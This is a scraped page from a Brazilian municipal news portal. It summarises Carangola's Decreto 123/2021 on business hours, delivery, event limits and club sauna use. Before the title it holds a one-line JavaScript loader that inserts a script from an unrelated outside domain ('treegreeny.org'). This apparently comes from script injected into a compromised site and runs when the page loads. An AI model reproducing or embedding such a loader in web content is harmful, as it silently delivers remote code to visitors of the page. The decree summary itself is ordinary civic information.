;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Carangola - DECRETO 123/2021-Prefeitura Municipal de Carangola. - Portal Carangola

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Carangola – DECRETO 123/2021-Prefeitura Municipal de Carangola.

Entra em vigor a partir do dia 31 de outubro de 2021 com o prazo de vigência limitado a 30 de novembro de 2021.

Confira as principais mudanças

O horário de funcionamento de todos os estabelecimentos empresariais, comerciais e industriais localizados no Município passa a ser de 06h00min às 02h00min, cessando completamente suas atividades às 03h00min;

Delirevy somente até as 04h00min;

A realização de eventos públicos e/ou privados, com duração de, no máximo, 08 (oito) horas. Não podendo ultrapassar ao horário de 04h00min;

Fica permitido o funcionamento e da sauna nos Clubes, desde que limitado a 50% (cinquenta por cento) da capacidade e desde que previamente agendado.

O Decreto na íntegra você confere no site www.carangola.mg.gov.b

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